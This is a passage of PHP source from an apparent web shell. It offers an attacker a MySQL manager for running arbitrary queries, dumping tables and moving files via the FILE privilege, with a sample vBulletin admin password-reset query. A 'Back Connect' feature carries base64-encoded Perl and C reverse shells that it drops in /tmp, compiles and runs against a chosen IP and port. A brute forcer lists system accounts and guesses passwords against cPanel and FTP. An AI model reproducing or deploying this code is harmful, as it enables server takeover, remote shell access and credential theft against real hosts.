  668.     $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
  669.     $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
  670.     $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
  671.     $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
  672.     $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
  673.     $('mysqlfile').charset.value=$('dbinfo').charset.value;
  674.     $('mysqlfile').submit();
  675. }
  676. </script>
  677. <?php
  678.     !$dbhost && $dbhost = 'localhost';
  679.     !$dbuser && $dbuser = 'root';
  680.     !$dbport && $dbport = '3306';
  681.     $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
  682.     formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
  683.     makehide('action','sqlfile');
  684.     p('<p>');
  685.     p('DBHost:');
  686.     makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
  687.     p(':');
  688.     makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
  689.     p('DBUser:');
  690.     makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
  691.     p('DBPass:');
  692.     makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
  693.     p('DBName:');
  694.     makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));
  695.     p('DBCharset:');
  696.     makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
  697.     p('</p>');
  698.     formfoot();
  699.     p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
  700.     p('<h2>Upload file</h2>');
  701.     p('<p><b>This operation the DB user must has FILE privilege</b></p>');
  702.     p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
  703.     p('<h2>Download file</h2>');
  704.     p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
  705.     makehide('dbhost');
  706.     makehide('dbport');
  707.     makehide('dbuser');
  708.     makehide('dbpass');
  709.     makehide('dbname');
  710.     makehide('charset');
  711.     makehide('doing');
  712.     makehide('action','sqlfile');
  713.     p('</form>');
  714. }
  715.  
  716. elseif ($action == 'sqladmin') {
  717.     !$dbhost && $dbhost = 'localhost';
  718.     !$dbuser && $dbuser = 'root';
  719.     !$dbport && $dbport = '3306';
  720.     $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
  721.     if(isset($dbhost)){
  722.         $dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
  723.     }
  724.     if(isset($dbuser)) {
  725.         $dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
  726.     }
  727.     if(isset($dbpass)) {
  728.         $dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
  729.     }
  730.     if(isset($dbport)) {
  731.         $dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
  732.     }
  733.     if(isset($dbname)) {
  734.         $dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
  735.     }
  736.     if(isset($charset)) {
  737.         $dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
  738.     }
  739.  
  740.     if ($doing == 'backupmysql' && $saveasfile) {
  741.         if (!$table) {
  742.             m('Please choose the table');
  743.         } else {
  744.             dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  745.             $table = array_flip($table);
  746.             $fp = @fopen($path,'w');
  747.             if ($fp) {
  748.                 $result = q('SHOW tables');
  749.                 if (!$result) p('<h2>'.mysql_error().'</h2>');
  750.                 $mysqldata = '';
  751.                 while ($currow = mysql_fetch_array($result)) {
  752.                     if (isset($table[$currow[0]])) {
  753.                         sqldumptable($currow[0], $fp);
  754.                     }
  755.                 }
  756.                 fclose($fp);
  757.                 $fileurl = str_replace(SA_ROOT,'',$path);
  758.                 m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');
  759.                 mysql_close();
  760.             } else {
  761.                 m('Backup failed');
  762.             }
  763.         }
  764.     }
  765.     if ($insert && $insertsql) {
  766.         $keystr = $valstr = $tmp = '';
  767.         foreach($insertsql as $key => $val) {
  768.             if ($val) {
  769.                 $keystr .= $tmp.$key;
  770.                 $valstr .= $tmp."'".addslashes($val)."'";
  771.                 $tmp = ',';
  772.             }
  773.         }
  774.         if ($keystr && $valstr) {
  775.             dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  776.             m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
  777.         }
  778.     }
  779.     if ($update && $insertsql && $base64) {
  780.         $valstr = $tmp = '';
  781.         foreach($insertsql as $key => $val) {
  782.             $valstr .= $tmp.$key."='".addslashes($val)."'";
  783.             $tmp = ',';
  784.         }
  785.         if ($valstr) {
  786.             $where = base64_decode($base64);
  787.             dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  788.             m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
  789.         }
  790.     }
  791.     if ($doing == 'del' && $base64) {
  792.         $where = base64_decode($base64);
  793.         $delete_sql = "DELETE FROM $tablename WHERE $where";
  794.         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  795.         m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
  796.     }
  797.  
  798.     if ($tablename && $doing == 'drop') {
  799.         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  800.         if (q("DROP TABLE $tablename")) {
  801.             m('Drop table of success');
  802.             $tablename = '';
  803.         } else {
  804.             m(mysql_error());
  805.         }
  806.     }
  807.  
  808.     $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
  809.  
  810.     formhead(array('title'=>'MYSQL Manager'));
  811.     makehide('action','sqladmin');
  812.     p('<p>');
  813.     p('DBHost:');
  814.     makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
  815.     p(':');
  816.     makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
  817.     p('DBUser:');
  818.     makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
  819.     p('DBPass:');
  820.     makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
  821.     p('DBCharset:');
  822.     makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
  823.     makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
  824.     p('</p>');
  825.     formfoot();
  826. ?>
  827.  
  828. <script type="text/javascript">
  829. function editrecord(action, base64, tablename){
  830.     if (action == 'del') {
  831.         if (!confirm('Is or isn\'t deletion record?')) return;
  832.     }
  833.     $('recordlist').doing.value=action;
  834.     $('recordlist').base64.value=base64;
  835.     $('recordlist').tablename.value=tablename;
  836.     $('recordlist').submit();
  837. }
  838. function moddbname(dbname) {
  839.     if(!dbname) return;
  840.     $('setdbname').dbname.value=dbname;
  841.     $('setdbname').submit();
  842. }
  843. function settable(tablename,doing,page) {
  844.     if(!tablename) return;
  845.     if (doing) {
  846.         $('settable').doing.value=doing;
  847.     }
  848.     if (page) {
  849.         $('settable').page.value=page;
  850.     }
  851.     $('settable').tablename.value=tablename;
  852.     $('settable').submit();
  853. }
  854. </script>
  855. <?php
  856.     // SQL
  857.     formhead(array('name'=>'recordlist'));
  858.     makehide('doing');
  859.     makehide('action','sqladmin');
  860.     makehide('base64');
  861.     makehide('tablename');
  862.     p($dbform);
  863.     formfoot();
  864.  
  865.     // Data
  866.     formhead(array('name'=>'setdbname'));
  867.     makehide('action','sqladmin');
  868.     p($dbform);
  869.     if (!$dbname) {
  870.         makehide('dbname');
  871.     }
  872.     formfoot();
  873.  
  874.  
  875.     formhead(array('name'=>'settable'));
  876.     makehide('action','sqladmin');
  877.     p($dbform);
  878.     makehide('tablename');
  879.     makehide('page',$page);
  880.     makehide('doing');
  881.     formfoot();
  882.  
  883.     $cachetables = array();
  884.     $pagenum = 30;
  885.     $page = intval($page);
  886.     if($page) {
  887.         $start_limit = ($page - 1) * $pagenum;
  888.     } else {
  889.         $start_limit = 0;
  890.         $page = 1;
  891.     }
  892.     if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
  893.         dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
  894.         // get mysql server
  895.         $mysqlver = mysql_get_server_info();
  896.         p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
  897.         $highver = $mysqlver > '4.1' ? 1 : 0;
  898.  
  899.         // Show database
  900.         $query = q("SHOW DATABASES");
  901.         $dbs = array();
  902.         $dbs[] = '-- Select a database --';
  903.         while($db = mysql_fetch_array($query)) {
  904.             $dbs[$db['Database']] = $db['Database'];
  905.         }
  906.         makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
  907.         $tabledb = array();
  908.         if ($dbname) {
  909.             p('<p>');
  910.             p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
  911.             if ($tablename) {
  912.                 p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
  913.             }
  914.             p('</p>');
  915.             mysql_select_db($dbname);
  916.  
  917.             $getnumsql = '';
  918.             $runquery = 0;
  919.             if ($sql_query) {
  920.                 $runquery = 1;
  921.             }
  922.             $allowedit = 0;
  923.             if ($tablename && !$sql_query) {
  924.                 $sql_query = "SELECT * FROM $tablename";
  925.                 $getnumsql = $sql_query;
  926.                 $sql_query = $sql_query." LIMIT $start_limit, $pagenum";
  927.                 $allowedit = 1;
  928.             }
  929.             p('<form action="'.$self.'" method="POST">');
  930.             p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database <font color=red><b>'.$dbname.'</font></b>:<BR>Example VBB Password: <font color=red>vbateam</font><BR><font color=yellow>UPDATE `user` SET `password` = \'69e53e5ab9536e55d31ff533aefc4fbe\', salt = \'p5T\' WHERE `userid` = \'1\' </font>
  931.  
  932.             </td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
  933.             makehide('tablename', $tablename);
  934.             makehide('action','sqladmin');
  935.             p($dbform);
  936.             p('</form>');
  937.             if ($tablename || ($runquery && $sql_query)) {
  938.                 if ($doing == 'structure') {
  939.                     $result = q("SHOW COLUMNS FROM $tablename");
  940.                     $rowdb = array();
  941.                     while($row = mysql_fetch_array($result)) {
  942.                         $rowdb[] = $row;
  943.                     }
  944.                     p('<table border="0" cellpadding="3" cellspacing="0">');
  945.                     p('<tr class="head">');
  946.                     p('<td>Field</td>');
  947.                     p('<td>Type</td>');
  948.                     p('<td>Null</td>');
  949.                     p('<td>Key</td>');
  950.                     p('<td>Default</td>');
  951.                     p('<td>Extra</td>');
  952.                     p('</tr>');
  953.                     foreach ($rowdb as $row) {
  954.                         $thisbg = bg();
  955.                         p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
  956.                         p('<td>'.$row['Field'].'</td>');
  957.                         p('<td>'.$row['Type'].'</td>');
  958.                         p('<td>'.$row['Null'].'&nbsp;</td>');
  959.                         p('<td>'.$row['Key'].'&nbsp;</td>');
  960.                         p('<td>'.$row['Default'].'&nbsp;</td>');
  961.                         p('<td>'.$row['Extra'].'&nbsp;</td>');
  962.                         p('</tr>');
  963.                     }
  964.                     tbfoot();
  965.                 } elseif ($doing == 'insert' || $doing == 'edit') {
  966.                     $result = q('SHOW COLUMNS FROM '.$tablename);
  967.                     while ($row = mysql_fetch_array($result)) {
  968.                         $rowdb[] = $row;
  969.                     }
  970.                     $rs = array();
  971.                     if ($doing == 'insert') {
  972.                         p('<h2>Insert new line in '.$tablename.' table &raquo;</h2>');
  973.                     } else {
  974.                         p('<h2>Update record in '.$tablename.' table &raquo;</h2>');
  975.                         $where = base64_decode($base64);
  976.                         $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
  977.                         $rs = mysql_fetch_array($result);
  978.                     }
  979.                     p('<form method="post" action="'.$self.'">');
  980.                     p($dbform);
  981.                     makehide('action','sqladmin');
  982.                     makehide('tablename',$tablename);
  983.                     p('<table border="0" cellpadding="3" cellspacing="0">');
  984.                     foreach ($rowdb as $row) {
  985.                         if ($rs[$row['Field']]) {
  986.                             $value = htmlspecialchars($rs[$row['Field']]);
  987.                         } else {
  988.                             $value = '';
  989.                         }
  990.                         $thisbg = bg();
  991.                         p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
  992.                         p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
  993.                     }
  994.                     if ($doing == 'insert') {
  995.                         p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
  996.                     } else {
  997.                         p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
  998.                         makehide('base64', $base64);
  999.                     }
  1000.                     p('</table></form>');
  1001.                 } else {
  1002.                     $querys = @explode(';',$sql_query);
  1003.                     foreach($querys as $num=>$query) {
  1004.                         if ($query) {
  1005.                             p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
  1006.                             switch(qy($query))
  1007.                             {
  1008.                                 case 0:
  1009.                                     p('<h2>Error : '.mysql_error().'</h2>');
  1010.                                     break;
  1011.                                 case 1:
  1012.                                     if (strtolower(substr($query,0,13)) == 'select * from') {
  1013.                                         $allowedit = 1;
  1014.                                     }
  1015.                                     if ($getnumsql) {
  1016.                                         $tatol = mysql_num_rows(q($getnumsql));
  1017.                                         $multipage = multi($tatol, $pagenum, $page, $tablename);
  1018.                                     }
  1019.                                     if (!$tablename) {
  1020.                                         $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
  1021.                                         $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
  1022.                                         preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
  1023.                                         $tablename = $matches[1][0];
  1024.                                     }
  1025.                                     $result = q($query);
  1026.                                     p($multipage);
  1027.                                     p('<table border="0" cellpadding="3" cellspacing="0">');
  1028.                                     p('<tr class="head">');
  1029.                                     if ($allowedit) p('<td>Action</td>');
  1030.                                     $fieldnum = @mysql_num_fields($result);
  1031.                                     for($i=0;$i<$fieldnum;$i++){
  1032.                                         $name = @mysql_field_name($result, $i);
  1033.                                         $type = @mysql_field_type($result, $i);
  1034.                                         $len = @mysql_field_len($result, $i);
  1035.                                         p("<td nowrap>$name<br><span>$type($len)</span></td>");
  1036.                                     }
  1037.                                     p('</tr>');
  1038.                                     while($mn = @mysql_fetch_assoc($result)){
  1039.                                         $thisbg = bg();
  1040.                                         p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
  1041.                                         $where = $tmp = $b1 = '';
  1042.                                         foreach($mn as $key=>$inside){
  1043.                                             if ($inside) {
  1044.                                                 $where .= $tmp.$key."='".addslashes($inside)."'";
  1045.                                                 $tmp = ' AND ';
  1046.                                             }
  1047.                                             $b1 .= '<td nowrap>'.html_clean($inside).'&nbsp;</td>';
  1048.                                         }
  1049.                                         $where = base64_encode($where);
  1050.                                         if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
  1051.                                         p($b1);
  1052.                                         p('</tr>');
  1053.                                         unset($b1);
  1054.                                     }
  1055.                                     tbfoot();
  1056.                                     p($multipage);
  1057.                                     break;
  1058.                                 case 2:
  1059.                                     $ar = mysql_affected_rows();
  1060.                                     p('<h2>affected rows : <b>'.$ar.'</b></h2>');
  1061.                                     break;
  1062.                             }
  1063.                         }
  1064.                     }
  1065.                 }
  1066.             } else {
  1067.                 $query = q("SHOW TABLE STATUS");
  1068.                 $table_num = $table_rows = $data_size = 0;
  1069.                 $tabledb = array();
  1070.                 while($table = mysql_fetch_array($query)) {
  1071.                     $data_size = $data_size + $table['Data_length'];
  1072.                     $table_rows = $table_rows + $table['Rows'];
  1073.                     $table['Data_length'] = sizecount($table['Data_length']);
  1074.                     $table_num++;
  1075.                     $tabledb[] = $table;
  1076.                 }
  1077.                 $data_size = sizecount($data_size);
  1078.                 unset($table);
  1079.                 p('<table border="0" cellpadding="0" cellspacing="0">');
  1080.                 p('<form action="'.$self.'" method="POST">');
  1081.                 makehide('action','sqladmin');
  1082.                 p($dbform);
  1083.                 p('<tr class="head">');
  1084.                 p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
  1085.                 p('<td>Name</td>');
  1086.                 p('<td>Rows</td>');
  1087.                 p('<td>Data_length</td>');
  1088.                 p('<td>Create_time</td>');
  1089.                 p('<td>Update_time</td>');
  1090.                 if ($highver) {
  1091.                     p('<td>Engine</td>');
  1092.                     p('<td>Collation</td>');
  1093.                 }
  1094.                 p('</tr>');
  1095.                 foreach ($tabledb as $key => $table) {
  1096.                     $thisbg = bg();
  1097.                     p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
  1098.                     p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
  1099.                     p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
  1100.                     p('<td>'.$table['Rows'].'</td>');
  1101.                     p('<td>'.$table['Data_length'].'</td>');
  1102.                     p('<td>'.$table['Create_time'].'</td>');
  1103.                     p('<td>'.$table['Update_time'].'</td>');
  1104.                     if ($highver) {
  1105.                         p('<td>'.$table['Engine'].'</td>');
  1106.                         p('<td>'.$table['Collation'].'</td>');
  1107.                     }
  1108.                     p('</tr>');
  1109.                 }
  1110.                 p('<tr class=fout>');
  1111.                 p('<td>&nbsp;</td>');
  1112.                 p('<td>Total tables: '.$table_num.'</td>');
  1113.                 p('<td>'.$table_rows.'</td>');
  1114.                 p('<td>'.$data_size.'</td>');
  1115.                 p('<td colspan="'.($highver ? 4 : 2).'">&nbsp;</td>');
  1116.                 p('</tr>');
  1117.  
  1118.                 p("<tr class=\"fout\"><td colspan=\"".($highver ? 8 : 6)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");
  1119.                 makehide('doing','backupmysql');
  1120.                 formfoot();
  1121.                 p("</table>");
  1122.                 fr($query);
  1123.             }
  1124.         }
  1125.     }
  1126.     tbfoot();
  1127.     @mysql_close();
  1128. }//end sql backup
  1129.  
  1130.  
  1131. elseif ($action == 'backconnect') {
  1132.     !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
  1133.     !$yourport && $yourport = '12345';
  1134.     $usedb = array('perl'=>'perl','c'=>'c');
  1135.  
  1136.     $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
  1137.         "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
  1138.         "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
  1139.         "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
  1140.         "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
  1141.         "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
  1142.         "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
  1143.     $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
  1144.         "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
  1145.         "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
  1146.         "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
  1147.         "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
  1148.         "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
  1149.         "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
  1150.         "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
  1151.  
  1152.     if ($start && $yourip && $yourport && $use){
  1153.         if ($use == 'perl') {
  1154.             cf('/tmp/angel_bc',$back_connect);
  1155.             $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");
  1156.         } else {
  1157.             cf('/tmp/angel_bc.c',$back_connect_c);
  1158.             $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
  1159.             @unlink('/tmp/angel_bc.c');
  1160.             $res = execute("/tmp/angel_bc $yourip $yourport &");
  1161.         }
  1162.         m("Now script try connect to $yourip port $yourport ...");
  1163.     }
  1164.  
  1165.     formhead(array('title'=>'Back Connect'));
  1166.     makehide('action','backconnect');
  1167.     p('<p>');
  1168.     p('Your IP:');
  1169.     makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));
  1170.     p('Your Port:');
  1171.     makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));
  1172.     p('Use:');
  1173.     makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
  1174.     makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
  1175.     p('</p>');
  1176.     formfoot();
  1177. }//end backconnect window via NC
  1178.  
  1179. // Brute
  1180. elseif ($action == 'brute') {
  1181. formhead(array('title'=>'Brute Forcer'));
  1182.     makehide('action','brute');
  1183.     makehide('dir',$brute);
  1184. @ini_set('memory_limit', 1000000000000);
  1185. $connect_timeout=5;
  1186. @set_time_limit(0);
  1187. $submit = $_REQUEST['submit'];
  1188. $users = $_REQUEST['users'];
  1189. $pass = $_REQUEST['passwords'];
  1190. $target = $_REQUEST['target'];
  1191. $option = $_REQUEST['option'];
  1192. $passlist = "0123456
  1193. 01234567
  1194. 012345678
  1195. 0123456789
  1196. 01234567890
  1197. 123456
  1198. 1234567
  1199. 12345678
  1200. 123456789
  1201. 1234567890
  1202. 111111
  1203. 000000
  1204. 222222
  1205. 333333
  1206. 444444
  1207. 555555
  1208. 666666
  1209. 777777
  1210. 888888
  1211. 999999
  1212. 123123
  1213. 456456
  1214. 789789
  1215. 123321
  1216. 456654
  1217. 654321
  1218. 7654321
  1219. 87654321
  1220. 987654321
  1221. 0987654321
  1222. admin
  1223. administrator
  1224. admincp
  1225. cpanel
  1226. adminx
  1227. admins
  1228. password
  1229. passwords
  1230. passw0rd
  1231. p@ssw0rd
  1232. p@ssword
  1233. khongco
  1234. 25251325
  1235. passw0rds";
  1236. if($target == ''){
  1237. $target = 'localhost';
  1238. }
  1239. print " <div align='center'>
  1240.  
  1241. <form method='post' style='border: 1px solid #000000'><br><br>
  1242. <TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width='40%' bgColor=#303030 borderColorLight=#966117 border=1><tr><td>
  1243. <b> Target  : </font><input type='text' name='target' size='16' value= $target style='border: font-family:tahoma; font-weight:bold;'></p></font></b></p>
  1244. <div align='center'><br>
  1245. <TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width='50%' bgColor=#303030 borderColorLight=#966117 border=1>
  1246. <tr>
  1247. <td align='center'>
  1248. <b>Username</b></td>
  1249. <td>
  1250. <p align='center'>
  1251. <b>Password</b></td>
  1252. </tr>
  1253. </table>
  1254.  
  1255. <p align='center'>
  1256. <textarea rows='20' name='users' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>";
  1257. $i = 0;
  1258. while ($i < 60000) {
  1259.  
  1260.     $line = posix_getpwuid($i);
  1261.     if (!empty($line)) {
  1262.  
  1263.         while (list ($key, $vba_etcpwd) = each($line)){
  1264.             echo "".$vba_etcpwd."\n";
  1265.             break;
  1266.         }
  1267.  
  1268.     }
  1269.  
  1270.    $i++;
  1271. }
  1272. echo "
  1273. </textarea>
  1274. <textarea rows='20' name='passwords' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>$passlist</textarea><br>
  1275. <br>
  1276. <b>Options : </span><input name='option' value='cpanel' style='font-weight: 700;' checked type='radio'> cPanel
  1277. <input name='option' value='ftp' style='font-weight: 700;' type='radio'> ftp ==> <input type='submit' value='Attack' name='submit' ></p>
  1278. </td></tr></table></td></tr></form><p align= 'left'>";
  1279. ?>
  1280. <?php
  1281. function ftp_check($host,$user,$pass,$timeout){
  1282. $ch = curl_init();
  1283. curl_setopt($ch, CURLOPT_URL, "ftp://$host");
  1284. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  1285. curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
  1286. curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);
  1287. curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
  1288. curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
  1289. curl_setopt($ch, CURLOPT_FAILONERROR, 1);
  1290. $data = curl_exec($ch);
  1291. if ( curl_errno($ch) == 28 ) {
  1292.  
  1293. print "<b> Error : Connection timed out , make confidence about validation of target !</b>";
  1294. exit;}
  1295.  
  1296. elseif ( curl_errno($ch) == 0 ){
  1297.  
  1298. p("<b>[ attack@vbateam.net ]# </b>
  1299.  
  1300. <b> Attacking has been done! Username: <font color='#FF0000'> $user </font> / Password:<font color='#FF0000'> $pass </font> => <a href=http://$user:$pass@$host:2082 target=_blank>Login</a></b><br>");
  1301. }
  1302. curl_close($ch);}
  1303.  
  1304. function cpanel_check($host,$user,$pass,$timeout){
  1305. $ch = curl_init();
  1306. curl_setopt($ch, CURLOPT_URL, "http://$host:2082");
  1307. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  1308. curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
  1309. curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
  1310. curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
  1311. curl_setopt($ch, CURLOPT_FAILONERROR, 1);
  1312. $data = curl_exec($ch);
